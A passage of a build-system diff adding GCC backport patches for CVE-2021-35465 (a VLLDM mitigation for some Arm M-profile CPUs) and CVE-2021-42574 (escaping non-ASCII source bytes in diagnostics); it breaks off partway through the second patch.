+ (ALL_QUIRKS): Add quirk_vlldm.
+ (cortex-m33): Add quirk_vlldm.
+ (cortex-m35p, cortex-m55): Likewise.
+ * config/arm/arm.c (arm_option_override): Enable fix_vlldm if
+ targetting an affected CPU and not explicitly controlled on
+ the command line.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=3929bca9ca95de9d35e82ae8828b188029e3eb70]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/config/arm/arm-cpus.in | 9 +++++++--
+ gcc/config/arm/arm.c | 9 +++++++++
+ gcc/config/arm/arm.opt | 4 ++++
+ gcc/doc/invoke.texi | 9 +++++++++
+ 4 files changed, 29 insertions(+), 2 deletions(-)
+
+diff --git a/gcc/config/arm/arm.c b/gcc/config/arm/arm.c
+--- a/gcc/config/arm/arm.c 2021-11-15 02:13:11.100579812 -0800
++++ b/gcc/config/arm/arm.c 2021-11-15 02:17:36.988237692 -0800
+@@ -3610,6 +3610,15 @@ arm_option_override (void)
+ fix_cm3_ldrd = 0;
+ }
+
++ /* Enable fix_vlldm by default if required. */
++ if (fix_vlldm == 2)
++ {
++ if (bitmap_bit_p (arm_active_target.isa, isa_bit_quirk_vlldm))
++ fix_vlldm = 1;
++ else
++ fix_vlldm = 0;
++ }
++
+ /* Hot/Cold partitioning is not currently supported, since we can't
+ handle literal pool placement in that case. */
+ if (flag_reorder_blocks_and_partition)
+diff --git a/gcc/config/arm/arm-cpus.in b/gcc/config/arm/arm-cpus.in
+--- a/gcc/config/arm/arm-cpus.in 2021-11-15 02:13:11.104579747 -0800
++++ b/gcc/config/arm/arm-cpus.in 2021-11-15 02:17:36.984237757 -0800
+@@ -186,6 +186,9 @@ define feature quirk_armv6kz
+ # Cortex-M3 LDRD quirk.
+ define feature quirk_cm3_ldrd
+
++# v8-m/v8.1-m VLLDM errata.
++define feature quirk_vlldm
++
+ # Don't use .cpu assembly directive
+ define feature quirk_no_asmcpu
+
+@@ -322,7 +325,7 @@ define implied vfp_base MVE MVE_FP ALL_F
+ # architectures.
+ # xscale isn't really a 'quirk', but it isn't an architecture either and we
+ # need to ignore it for matching purposes.
+-define fgroup ALL_QUIRKS quirk_no_volatile_ce quirk_armv6kz quirk_cm3_ldrd xscale quirk_no_asmcpu
++define fgroup ALL_QUIRKS quirk_no_volatile_ce quirk_armv6kz quirk_cm3_ldrd quirk_vlldm xscale quirk_no_asmcpu
+
+ define fgroup IGNORE_FOR_MULTILIB cdecp0 cdecp1 cdecp2 cdecp3 cdecp4 cdecp5 cdecp6 cdecp7
+
+@@ -1570,6 +1573,7 @@ begin cpu cortex-m33
+ architecture armv8-m.main+dsp+fp
+ option nofp remove ALL_FP
+ option nodsp remove armv7em
++ isa quirk_vlldm
+ costs v7m
+ end cpu cortex-m33
+
+@@ -1579,6 +1583,7 @@ begin cpu cortex-m35p
+ architecture armv8-m.main+dsp+fp
+ option nofp remove ALL_FP
+ option nodsp remove armv7em
++ isa quirk_vlldm
+ costs v7m
+ end cpu cortex-m35p
+
+@@ -1590,7 +1595,7 @@ begin cpu cortex-m55
+ option nomve remove mve mve_float
+ option nofp remove ALL_FP mve_float
+ option nodsp remove MVE mve_float
+- isa quirk_no_asmcpu
++ isa quirk_no_asmcpu quirk_vlldm
+ costs v7m
+ vendor 41
+ end cpu cortex-m55
+diff --git a/gcc/config/arm/arm.opt b/gcc/config/arm/arm.opt
+--- a/gcc/config/arm/arm.opt 2021-11-15 02:13:11.104579747 -0800
++++ b/gcc/config/arm/arm.opt 2021-11-15 02:17:36.988237692 -0800
+@@ -268,6 +268,10 @@ Target Var(fix_cm3_ldrd) Init(2)
+ Avoid overlapping destination and address registers on LDRD instructions
+ that may trigger Cortex-M3 errata.
+
++mfix-cmse-cve-2021-35465
++Target Var(fix_vlldm) Init(2)
++Mitigate issues with VLLDM on some M-profile devices (CVE-2021-35465).
++
+ munaligned-access
+ Target Var(unaligned_access) Init(2) Save
+ Enable unaligned word and halfword accesses to packed data.
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+--- a/gcc/doc/invoke.texi 2021-11-15 02:13:11.112579616 -0800
++++ b/gcc/doc/invoke.texi 2021-11-15 02:17:36.996237562 -0800
+@@ -804,6 +804,7 @@ Objective-C and Objective-C++ Dialects}.
+ -mverbose-cost-dump @gol
+ -mpure-code @gol
+ -mcmse @gol
++-mfix-cmse-cve-2021-35465 @gol
+ -mfdpic}
+
+ @emph{AVR Options}
+@@ -20487,6 +20488,14 @@ Generate secure code as per the "ARMv8-M
+ Development Tools Engineering Specification", which can be found on
+ @url{https://developer.arm.com/documentation/ecm0359818/latest/}.
+
++@item -mfix-cmse-cve-2021-35465
++@opindex mfix-cmse-cve-2021-35465
++Mitigate against a potential security issue with the @code{VLLDM} instruction
++in some M-profile devices when using CMSE (CVE-2021-365465). This option is
++enabled by default when the option @option{-mcpu=} is used with
++@code{cortex-m33}, @code{cortex-m35p} or @code{cortex-m55}. The option
++@option{-mno-fix-cmse-cve-2021-35465} can be used to disable the mitigation.
++
+ @item -mfdpic
+ @itemx -mno-fdpic
+ @opindex mfdpic
diff --git a/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch
new file mode 100644
index 0000000000..4d680ccc8f
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch
@@ -0,0 +1,2282 @@
+From bd5e882cf6e0def3dd1bc106075d59a303fe0d1e Mon Sep 17 00:00:00 2001
+From: David Malcolm <dmalcolm@redhat.com>
+Date: Mon, 18 Oct 2021 18:55:31 -0400
+Subject: [PATCH] diagnostics: escape non-ASCII source bytes for certain
+ diagnostics
+MIME-Version: 1.0
+Content-Type: text/plain; charset=utf8
+Content-Transfer-Encoding: 8bit
+
+This patch adds support to GCC's diagnostic subsystem for escaping certain
+bytes and Unicode characters when quoting source code.
+
+Specifically, this patch adds a new flag rich_location::m_escape_on_output
+which is a hint from a diagnostic that non-ASCII bytes in the pertinent
+lines of the user's source code should be escaped when printed.
+
+The patch sets this for the following diagnostics:
+- when complaining about stray bytes in the program (when these
+are non-printable)
+- when complaining about "null character(s) ignored");
+- for -Wnormalized= (and generate source ranges for such warnings)
+
+The escaping is controlled by a new option:
+ -fdiagnostics-escape-format=[unicode|bytes]
+
+For example, consider a diagnostic involing a source line containing the
+string "before" followed by the Unicode character U+03C0 ("GREEK SMALL
+LETTER PI", with UTF-8 encoding 0xCF 0x80) followed by the byte 0xBF
+(a stray UTF-8 trailing byte), followed by the string "after", where the
+diagnostic highlights the U+03C0 character.
+
+By default, this line will be printed verbatim to the user when
+reporting a diagnostic at it, as:
+
+ beforeÏXafter
+ ^
+
+(using X for the stray byte to avoid putting invalid UTF-8 in this
+commit message)
+
+If the diagnostic sets the "escape" flag, it will be printed as:
+
+ before<U+03C0><BF>after
+ ^~~~~~~~
+
+with -fdiagnostics-escape-format=unicode (the default), or as:
+
+ before<CF><80><BF>after
+ ^~~~~~~~
+
+if the user supplies -fdiagnostics-escape-format=bytes.
+
+This only affects how the source is printed; it does not affect
+how column numbers that are printed (as per -fdiagnostics-column-unit=
+and -fdiagnostics-column-origin=).
+
+gcc/c-family/ChangeLog:
+ * c-lex.c (c_lex_with_flags): When complaining about non-printable
+ CPP_OTHER tokens, set the "escape on output" flag.
+
+gcc/ChangeLog:
+ * common.opt (fdiagnostics-escape-format=): New.
+ (diagnostics_escape_format): New enum.
+ (DIAGNOSTICS_ESCAPE_FORMAT_UNICODE): New enum value.
+ (DIAGNOSTICS_ESCAPE_FORMAT_BYTES): Likewise.
+ * diagnostic-format-json.cc (json_end_diagnostic): Add
+ "escape-source" attribute.
+ * diagnostic-show-locus.c
+ (exploc_with_display_col::exploc_with_display_col): Replace
+ "tabstop" param with a cpp_char_column_policy and add an "aspect"
+ param. Use these to compute m_display_col accordingly.
+ (struct char_display_policy): New struct.
+ (layout::m_policy): New field.
+ (layout::m_escape_on_output): New field.
+ (def_policy): New function.
+ (make_range): Update for changes to exploc_with_display_col ctor.
+ (default_print_decoded_ch): New.
+ (width_per_escaped_byte): New.
+ (escape_as_bytes_width): New.
+ (escape_as_bytes_print): New.
+ (escape_as_unicode_width): New.
+ (escape_as_unicode_print): New.
+ (make_policy): New.
+ (layout::layout): Initialize new fields. Update m_exploc ctor
+ call for above change to ctor.
+ (layout::maybe_add_location_range): Update for changes to
+ exploc_with_display_col ctor.
+ (layout::calculate_x_offset_display): Update for change to
+ cpp_display_width.
+ (layout::print_source_line): Pass policy
+ to cpp_display_width_computation. Capture cpp_decoded_char when
+ calling process_next_codepoint. Move printing of source code to
+ m_policy.m_print_cb.
+ (line_label::line_label): Pass in policy rather than context.
+ (layout::print_any_labels): Update for change to line_label ctor.
+ (get_affected_range): Pass in policy rather than context, updating
+ calls to location_compute_display_column accordingly.
+ (get_printed_columns): Likewise, also for cpp_display_width.
+ (correction::correction): Pass in policy rather than tabstop.
+ (correction::compute_display_cols): Pass m_policy rather than
+ m_tabstop to cpp_display_width.
+ (correction::m_tabstop): Replace with...
+ (correction::m_policy): ...this.
+ (line_corrections::line_corrections): Pass in policy rather than
+ context.
+ (line_corrections::m_context): Replace with...
+ (line_corrections::m_policy): ...this.
+ (line_corrections::add_hint): Update to use m_policy rather than
+ m_context.
+ (line_corrections::add_hint): Likewise.
+ (layout::print_trailing_fixits): Likewise.
+ (selftest::test_display_widths): New.
+ (selftest::test_layout_x_offset_display_utf8): Update to use
+ policy rather than tabstop.
+ (selftest::test_one_liner_labels_utf8): Add test of escaping
+ source lines.
+ (selftest::test_diagnostic_show_locus_one_liner_utf8): Update to
+ use policy rather than tabstop.
+ (selftest::test_overlapped_fixit_printing): Likewise.
+ (selftest::test_overlapped_fixit_printing_utf8): Likewise.
+ (selftest::test_overlapped_fixit_printing_2): Likewise.
+ (selftest::test_tab_expansion): Likewise.
+ (selftest::test_escaping_bytes_1): New.
+ (selftest::test_escaping_bytes_2): New.
+ (selftest::diagnostic_show_locus_c_tests): Call the new tests.
+ * diagnostic.c (diagnostic_initialize): Initialize
+ context->escape_format.
+ (convert_column_unit): Update to use default character width policy.
+ (selftest::test_diagnostic_get_location_text): Likewise.
+ * diagnostic.h (enum diagnostics_escape_format): New enum.
+ (diagnostic_context::escape_format): New field.
+ * doc/invoke.texi (-fdiagnostics-escape-format=): New option.
+ (-fdiagnostics-format=): Add "escape-source" attribute to examples
+ of JSON output, and document it.
+ * input.c (location_compute_display_column): Pass in "policy"
+ rather than "tabstop", passing to
+ cpp_byte_column_to_display_column.
+ (selftest::test_cpp_utf8): Update to use cpp_char_column_policy.
+ * input.h (class cpp_char_column_policy): New forward decl.
+ (location_compute_display_column): Pass in "policy" rather than
+ "tabstop".
+ * opts.c (common_handle_option): Handle
+ OPT_fdiagnostics_escape_format_.
+ * selftest.c (temp_source_file::temp_source_file): New ctor
+ overload taking a size_t.
+ * selftest.h (temp_source_file::temp_source_file): Likewise.
+
+gcc/testsuite/ChangeLog:
+ * c-c++-common/diagnostic-format-json-1.c: Add regexp to consume
+ "escape-source" attribute.
+ * c-c++-common/diagnostic-format-json-2.c: Likewise.
+ * c-c++-common/diagnostic-format-json-3.c: Likewise.
+ * c-c++-common/diagnostic-format-json-4.c: Likewise, twice.
+ * c-c++-common/diagnostic-format-json-5.c: Likewise.
+ * gcc.dg/cpp/warn-normalized-4-bytes.c: New test.
+ * gcc.dg/cpp/warn-normalized-4-unicode.c: New test.
+ * gcc.dg/encoding-issues-bytes.c: New test.
+ * gcc.dg/encoding-issues-unicode.c: New test.
+ * gfortran.dg/diagnostic-format-json-1.F90: Add regexp to consume
+ "escape-source" attribute.
+ * gfortran.dg/diagnostic-format-json-2.F90: Likewise.
+ * gfortran.dg/diagnostic-format-json-3.F90: Likewise.
+
+libcpp/ChangeLog:
+ * charset.c (convert_escape): Use encoding_rich_location when
+ complaining about nonprintable unknown escape sequences.
+ (cpp_display_width_computation::::cpp_display_width_computation):
+ Pass in policy rather than tabstop.
+ (cpp_display_width_computation::process_next_codepoint): Add "out"
+ param and populate *out if non-NULL.
+ (cpp_display_width_computation::advance_display_cols): Pass NULL
+ to process_next_codepoint.
+ (cpp_byte_column_to_display_column): Pass in policy rather than
+ tabstop. Pass NULL to process_next_codepoint.
+ (cpp_display_column_to_byte_column): Pass in policy rather than
+ tabstop.
+ * errors.c (cpp_diagnostic_get_current_location): New function,
+ splitting out the logic from...
+ (cpp_diagnostic): ...here.
+ (cpp_warning_at): New function.
+ (cpp_pedwarning_at): New function.
+ * include/cpplib.h (cpp_warning_at): New decl for rich_location.
+ (cpp_pedwarning_at): Likewise.
+ (struct cpp_decoded_char): New.
+ (struct cpp_char_column_policy): New.
+ (cpp_display_width_computation::cpp_display_width_computation):
+ Replace "tabstop" param with "policy".
+ (cpp_display_width_computation::process_next_codepoint): Add "out"
+ param.
+ (cpp_display_width_computation::m_tabstop): Replace with...
+ (cpp_display_width_computation::m_policy): ...this.
+ (cpp_byte_column_to_display_column): Replace "tabstop" param with
+ "policy".
+ (cpp_display_width): Likewise.
+ (cpp_display_column_to_byte_column): Likewise.
+ * include/line-map.h (rich_location::escape_on_output_p): New.
+ (rich_location::set_escape_on_output): New.
+ (rich_location::m_escape_on_output): New.
+ * internal.h (cpp_diagnostic_get_current_location): New decl.
+ (class encoding_rich_location): New.
+ * lex.c (skip_whitespace): Use encoding_rich_location when
+ complaining about null characters.
+ (warn_about_normalization): Generate a source range when
+ complaining about improperly normalized tokens, rather than just a
+ point, and use encoding_rich_location so that the source code
+ is escaped on printing.
+ * line-map.c (rich_location::rich_location): Initialize
+ m_escape_on_output.
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=bd5e882cf6e0def3dd1bc106075d59a303fe0d1e]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/c-family/c-lex.c | 6 +-
+ gcc/common.opt | 13 +
+ gcc/diagnostic-format-json.cc | 3 +
+ gcc/diagnostic-show-locus.c | 580 +++++++++++++++---
+ gcc/diagnostic.c | 10 +-
+ gcc/diagnostic.h | 18 +
+ gcc/doc/invoke.texi | 43 +-
+ gcc/input.c | 62 +-
+ gcc/input.h | 7 +-
+ gcc/opts.c | 4 +
+ gcc/selftest.c | 15 +
+ gcc/selftest.h | 2 +
+ .../c-c++-common/diagnostic-format-json-1.c | 1 +
+ .../c-c++-common/diagnostic-format-json-2.c | 1 +
+ .../c-c++-common/diagnostic-format-json-3.c | 1 +
+ .../c-c++-common/diagnostic-format-json-4.c | 2 +
+ .../c-c++-common/diagnostic-format-json-5.c | 1 +
+ .../gcc.dg/cpp/warn-normalized-4-bytes.c | 21 +
+ .../gcc.dg/cpp/warn-normalized-4-unicode.c | 19 +
+ gcc/testsuite/gcc.dg/encoding-issues-bytes.c | Bin 0 -> 595 bytes
+ .../gcc.dg/encoding-issues-unicode.c | Bin 0 -> 613 bytes
+ .../gfortran.dg/diagnostic-format-json-1.F90 | 1 +
+ .../gfortran.dg/diagnostic-format-json-2.F90 | 1 +
+ .../gfortran.dg/diagnostic-format-json-3.F90 | 1 +
+ libcpp/charset.c | 63 +-
+ libcpp/errors.c | 82 ++-
+ libcpp/include/cpplib.h | 76 ++-
+ libcpp/include/line-map.h | 13 +
+ libcpp/internal.h | 23 +
+ libcpp/lex.c | 38 +-
+ libcpp/line-map.c | 3 +-
+ 31 files changed, 942 insertions(+), 168 deletions(-)
+ create mode 100644 gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c
+ create mode 100644 gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c
+ create mode 100644 gcc/testsuite/gcc.dg/encoding-issues-bytes.c
+ create mode 100644 gcc/testsuite/gcc.dg/encoding-issues-unicode.c
+
+diff --git a/gcc/c-family/c-lex.c b/gcc/c-family/c-lex.c
+--- a/gcc/c-family/c-lex.c 2021-07-27 23:55:06.980283060 -0700
++++ b/gcc/c-family/c-lex.c 2021-12-14 01:16:01.541943272 -0800
+@@ -603,7 +603,11 @@ c_lex_with_flags (tree *value, location_
+ else if (ISGRAPH (c))
+ error_at (*loc, "stray %qc in program", (int) c);
+ else
+- error_at (*loc, "stray %<\\%o%> in program", (int) c);
++ {
++ rich_location rich_loc (line_table, *loc);
++ rich_loc.set_escape_on_output (true);
++ error_at (&rich_loc, "stray %<\\%o%> in program", (int) c);
++ }
+ }
+ goto retry;
+
+diff --git a/gcc/common.opt b/gcc/common.opt
+--- a/gcc/common.opt 2021-12-13 22:08:44.939137107 -0800
++++ b/gcc/common.opt 2021-12-14 01:16:01.541943272 -0800
+@@ -1348,6 +1348,10 @@ fdiagnostics-format=
+ Common Joined RejectNegative Enum(diagnostics_output_format)
+ -fdiagnostics-format=[text|json] Select output format.
+
++fdiagnostics-escape-format=
++Common Joined RejectNegative Enum(diagnostics_escape_format)
++-fdiagnostics-escape-format=[unicode|bytes] Select how to escape non-printable-ASCII bytes in the source for diagnostics that suggest it.
++
+ ; Required for these enum values.
+ SourceInclude
+ diagnostic.h
+@@ -1362,6 +1366,15 @@ EnumValue
+ Enum(diagnostics_column_unit) String(byte) Value(DIAGNOSTICS_COLUMN_UNIT_BYTE)
+
+ Enum
++Name(diagnostics_escape_format) Type(int)
++
++EnumValue
++Enum(diagnostics_escape_format) String(unicode) Value(DIAGNOSTICS_ESCAPE_FORMAT_UNICODE)
++
++EnumValue
++Enum(diagnostics_escape_format) String(bytes) Value(DIAGNOSTICS_ESCAPE_FORMAT_BYTES)
++
++Enum
+ Name(diagnostics_output_format) Type(int)
+
+ EnumValue
+diff --git a/gcc/diagnostic.c b/gcc/diagnostic.c
+--- a/gcc/diagnostic.c 2021-07-27 23:55:07.232286576 -0700
++++ b/gcc/diagnostic.c 2021-12-14 01:16:01.545943202 -0800
+@@ -230,6 +230,7 @@ diagnostic_initialize (diagnostic_contex
+ context->column_unit = DIAGNOSTICS_COLUMN_UNIT_DISPLAY;
+ context->column_origin = 1;
+ context->tabstop = 8;
++ context->escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
+ context->edit_context_ptr = NULL;
+ context->diagnostic_group_nesting_depth = 0;
+ context->diagnostic_group_emission_count = 0;
+@@ -382,7 +383,10 @@ convert_column_unit (enum diagnostics_co
+ gcc_unreachable ();
+
+ case DIAGNOSTICS_COLUMN_UNIT_DISPLAY:
+- return location_compute_display_column (s, tabstop);
++ {
++ cpp_char_column_policy policy (tabstop, cpp_wcwidth);
++ return location_compute_display_column (s, policy);
++ }
+
+ case DIAGNOSTICS_COLUMN_UNIT_BYTE:
+ return s.column;
+@@ -2275,8 +2279,8 @@ test_diagnostic_get_location_text ()
+ const char *const content = "smile \xf0\x9f\x98\x82\n";
+ const int line_bytes = strlen (content) - 1;
+ const int def_tabstop = 8;
+- const int display_width = cpp_display_width (content, line_bytes,
+- def_tabstop);
++ const cpp_char_column_policy policy (def_tabstop, cpp_wcwidth);
++ const int display_width = cpp_display_width (content, line_bytes, policy);
+ ASSERT_EQ (line_bytes - 2, display_width);
+ temp_source_file tmp (SELFTEST_LOCATION, ".c", content);
+ const char *const fname = tmp.get_filename ();
+diff --git a/gcc/diagnostic-format-json.cc b/gcc/diagnostic-format-json.cc
+--- a/gcc/diagnostic-format-json.cc 2021-07-27 23:55:07.232286576 -0700
++++ b/gcc/diagnostic-format-json.cc 2021-12-14 01:16:01.541943272 -0800
+@@ -264,6 +264,9 @@ json_end_diagnostic (diagnostic_context
+ json::value *path_value = context->make_json_for_path (context, path);
+ diag_obj->set ("path", path_value);
+ }
++
++ diag_obj->set ("escape-source",
++ new json::literal (richloc->escape_on_output_p ()));
+ }
+
+ /* No-op implementation of "begin_group_cb" for JSON output. */
+diff --git a/gcc/diagnostic.h b/gcc/diagnostic.h
+--- a/gcc/diagnostic.h 2021-07-27 23:55:07.236286632 -0700
++++ b/gcc/diagnostic.h 2021-12-14 01:16:01.545943202 -0800
+@@ -38,6 +38,20 @@ enum diagnostics_column_unit
+ DIAGNOSTICS_COLUMN_UNIT_BYTE
+ };
+
++/* An enum for controlling how to print non-ASCII characters/bytes when
++ a diagnostic suggests escaping the source code on output. */
++
++enum diagnostics_escape_format
++{
++ /* Escape non-ASCII Unicode characters in the form <U+XXXX> and
++ non-UTF-8 bytes in the form <XX>. */
++ DIAGNOSTICS_ESCAPE_FORMAT_UNICODE,
++
++ /* Escape non-ASCII bytes in the form <XX> (thus showing the underlying
++ encoding of non-ASCII Unicode characters). */
++ DIAGNOSTICS_ESCAPE_FORMAT_BYTES
++};
++
+ /* Enum for overriding the standard output format. */
+
+ enum diagnostics_output_format
+@@ -320,6 +334,10 @@ struct diagnostic_context
+ /* The size of the tabstop for tab expansion. */
+ int tabstop;
+
++ /* How should non-ASCII/non-printable bytes be escaped when
++ a diagnostic suggests escaping the source code on output. */
++ enum diagnostics_escape_format escape_format;
++
+ /* If non-NULL, an edit_context to which fix-it hints should be
+ applied, for generating patches. */
+ edit_context *edit_context_ptr;
+diff --git a/gcc/diagnostic-show-locus.c b/gcc/diagnostic-show-locus.c
+--- a/gcc/diagnostic-show-locus.c 2021-07-27 23:55:07.232286576 -0700
++++ b/gcc/diagnostic-show-locus.c 2021-12-14 01:16:01.545943202 -0800
+@@ -175,10 +175,26 @@ enum column_unit {
+ class exploc_with_display_col : public expanded_location
+ {
+ public:
+- exploc_with_display_col (const expanded_location &exploc, int tabstop)
+- : expanded_location (exploc),
+- m_display_col (location_compute_display_column (exploc, tabstop))
+- {}
++ exploc_with_display_col (const expanded_location &exploc,
++ const cpp_char_column_policy &policy,
++ enum location_aspect aspect)
++ : expanded_location (exploc),
++ m_display_col (location_compute_display_column (exploc, policy))
++ {
++ if (exploc.column > 0)
++ {
++ /* m_display_col is now the final column of the byte.
++ If escaping has happened, we may want the first column instead. */
++ if (aspect != LOCATION_ASPECT_FINISH)
++ {
++ expanded_location prev_exploc (exploc);
++ prev_exploc.column--;
++ int prev_display_col
++ = (location_compute_display_column (prev_exploc, policy));
++ m_display_col = prev_display_col + 1;
++ }
++ }
++ }
+
+ int m_display_col;
+ };
+@@ -313,6 +329,31 @@ test_line_span ()
+
+ #endif /* #if CHECKING_P */
+
++/* A bundle of information containing how to print unicode
++ characters and bytes when quoting source code.
++
++ Provides a unified place to support escaping some subset
++ of characters to some format.
++
++ Extends char_column_policy; printing is split out to avoid
++ libcpp having to know about pretty_printer. */
++
++struct char_display_policy : public cpp_char_column_policy
++{
++ public:
++ char_display_policy (int tabstop,
++ int (*width_cb) (cppchar_t c),
++ void (*print_cb) (pretty_printer *pp,
++ const cpp_decoded_char &cp))
++ : cpp_char_column_policy (tabstop, width_cb),
++ m_print_cb (print_cb)
++ {
++ }
++
++ void (*m_print_cb) (pretty_printer *pp,
++ const cpp_decoded_char &cp);
++};
++
+ /* A class to control the overall layout when printing a diagnostic.
+
+ The layout is determined within the constructor.
+@@ -345,6 +386,8 @@ class layout
+
+ void print_line (linenum_type row);
+
++ void on_bad_codepoint (const char *ptr, cppchar_t ch, size_t ch_sz);
++
+ private:
+ bool will_show_line_p (linenum_type row) const;
+ void print_leading_fixits (linenum_type row);
+@@ -386,6 +429,7 @@ class layout
+ private:
+ diagnostic_context *m_context;
+ pretty_printer *m_pp;
++ char_display_policy m_policy;
+ location_t m_primary_loc;
+ exploc_with_display_col m_exploc;
+ colorizer m_colorizer;
+@@ -398,6 +442,7 @@ class layout
+ auto_vec <line_span> m_line_spans;
+ int m_linenum_width;
+ int m_x_offset_display;
++ bool m_escape_on_output;
+ };
+
+ /* Implementation of "class colorizer". */
+@@ -646,6 +691,11 @@ layout_range::intersects_line_p (linenum
+ /* Default for when we don't care what the tab expansion is set to. */
+ static const int def_tabstop = 8;
+
++static cpp_char_column_policy def_policy ()
++{
++ return cpp_char_column_policy (8, cpp_wcwidth);
++}
++
+ /* Create some expanded locations for testing layout_range. The filename
+ member of the explocs is set to the empty string. This member will only be
+ inspected by the calls to location_compute_display_column() made from the
+@@ -662,10 +712,13 @@ make_range (int start_line, int start_co
+ = {"", start_line, start_col, NULL, false};
+ const expanded_location finish_exploc
+ = {"", end_line, end_col, NULL, false};
+- return layout_range (exploc_with_display_col (start_exploc, def_tabstop),
+- exploc_with_display_col (finish_exploc, def_tabstop),
++ return layout_range (exploc_with_display_col (start_exploc, def_policy (),
++ LOCATION_ASPECT_START),
++ exploc_with_display_col (finish_exploc, def_policy (),
++ LOCATION_ASPECT_FINISH),
+ SHOW_RANGE_WITHOUT_CARET,
+- exploc_with_display_col (start_exploc, def_tabstop),
++ exploc_with_display_col (start_exploc, def_policy (),
++ LOCATION_ASPECT_CARET),
+ 0, NULL);
+ }
+
+@@ -959,6 +1012,164 @@ fixit_cmp (const void *p_a, const void *
+ return hint_a->get_start_loc () - hint_b->get_start_loc ();
+ }
+
++/* Callbacks for use when not escaping the source. */
++
++/* The default callback for char_column_policy::m_width_cb is cpp_wcwidth. */
++
++/* Callback for char_display_policy::m_print_cb for printing source chars
++ when not escaping the source. */
++
++static void
++default_print_decoded_ch (pretty_printer *pp,
++ const cpp_decoded_char &decoded_ch)
++{
++ for (const char *ptr = decoded_ch.m_start_byte;
++ ptr != decoded_ch.m_next_byte; ptr++)
++ {
++ if (*ptr == '\0' || *ptr == '\r')
++ {
++ pp_space (pp);
++ continue;
++ }
++
++ pp_character (pp, *ptr);
++ }
++}
++
++/* Callbacks for use with DIAGNOSTICS_ESCAPE_FORMAT_BYTES. */
++
++static const int width_per_escaped_byte = 4;
++
++/* Callback for char_column_policy::m_width_cb for determining the
++ display width when escaping with DIAGNOSTICS_ESCAPE_FORMAT_BYTES. */
++
++static int
++escape_as_bytes_width (cppchar_t ch)
++{
++ if (ch < 0x80 && ISPRINT (ch))
++ return cpp_wcwidth (ch);
++ else
++ {
++ if (ch <= 0x7F) return 1 * width_per_escaped_byte;
++ if (ch <= 0x7FF) return 2 * width_per_escaped_byte;
++ if (ch <= 0xFFFF) return 3 * width_per_escaped_byte;
++ return 4 * width_per_escaped_byte;
++ }
++}
++
++/* Callback for char_display_policy::m_print_cb for printing source chars
++ when escaping with DIAGNOSTICS_ESCAPE_FORMAT_BYTES. */
++
++static void
++escape_as_bytes_print (pretty_printer *pp,
++ const cpp_decoded_char &decoded_ch)
++{
++ if (!decoded_ch.m_valid_ch)
++ {
++ for (const char *iter = decoded_ch.m_start_byte;
++ iter != decoded_ch.m_next_byte; ++iter)
++ {
++ char buf[16];
++ sprintf (buf, "<%02x>", (unsigned char)*iter);
++ pp_string (pp, buf);
++ }
++ return;
++ }
++
++ cppchar_t ch = decoded_ch.m_ch;
++ if (ch < 0x80 && ISPRINT (ch))
++ pp_character (pp, ch);
++ else
++ {
++ for (const char *iter = decoded_ch.m_start_byte;
++ iter < decoded_ch.m_next_byte; ++iter)
++ {
++ char buf[16];
++ sprintf (buf, "<%02x>", (unsigned char)*iter);
++ pp_string (pp, buf);
++ }
++ }
++}
++
++/* Callbacks for use with DIAGNOSTICS_ESCAPE_FORMAT_UNICODE. */
++
++/* Callback for char_column_policy::m_width_cb for determining the
++ display width when escaping with DIAGNOSTICS_ESCAPE_FORMAT_UNICODE. */
++
++static int
++escape_as_unicode_width (cppchar_t ch)
++{
++ if (ch < 0x80 && ISPRINT (ch))
++ return cpp_wcwidth (ch);
++ else
++ {
++ // Width of "<U+%04x>"
++ if (ch > 0xfffff)
++ return 10;
++ else if (ch > 0xffff)
++ return 9;
++ else
++ return 8;
++ }
++}
++
++/* Callback for char_display_policy::m_print_cb for printing source chars
++ when escaping with DIAGNOSTICS_ESCAPE_FORMAT_UNICODE. */
++
++static void
++escape_as_unicode_print (pretty_printer *pp,
++ const cpp_decoded_char &decoded_ch)
++{
++ if (!decoded_ch.m_valid_ch)
++ {
++ escape_as_bytes_print (pp, decoded_ch);
++ return;
++ }
++
++ cppchar_t ch = decoded_ch.m_ch;
++ if (ch < 0x80 && ISPRINT (ch))
++ pp_character (pp, ch);
++ else
++ {
++ char buf[16];
++ sprintf (buf, "<U+%04X>", ch);
++ pp_string (pp, buf);
++ }
++}
++
++/* Populate a char_display_policy based on DC and RICHLOC. */
++
++static char_display_policy
++make_policy (const diagnostic_context &dc,
++ const rich_location &richloc)
++{
++ /* The default is to not escape non-ASCII bytes. */
++ char_display_policy result
++ (dc.tabstop, cpp_wcwidth, default_print_decoded_ch);
++
++ /* If the diagnostic suggests escaping non-ASCII bytes, then
++ use policy from user-supplied options. */
++ if (richloc.escape_on_output_p ())
++ {
++ result.m_undecoded_byte_width = width_per_escaped_byte;
++ switch (dc.escape_format)
++ {
++ default:
++ gcc_unreachable ();
++ case DIAGNOSTICS_ESCAPE_FORMAT_UNICODE:
++ result.m_width_cb = escape_as_unicode_width;
++ result.m_print_cb = escape_as_unicode_print;
++ break;
++ case DIAGNOSTICS_ESCAPE_FORMAT_BYTES:
++ result.m_width_cb = escape_as_bytes_width;
++ result.m_print_cb = escape_as_bytes_print;
++ break;
++ }
++ }
++
++ return result;
++}
++
+ /* Implementation of class layout. */
+
+ /* Constructor for class layout.
+@@ -975,8 +1186,10 @@ layout::layout (diagnostic_context * con
+ diagnostic_t diagnostic_kind)
+ : m_context (context),
+ m_pp (context->printer),
++ m_policy (make_policy (*context, *richloc)),
+ m_primary_loc (richloc->get_range (0)->m_loc),
+- m_exploc (richloc->get_expanded_location (0), context->tabstop),
++ m_exploc (richloc->get_expanded_location (0), m_policy,
++ LOCATION_ASPECT_CARET),
+ m_colorizer (context, diagnostic_kind),
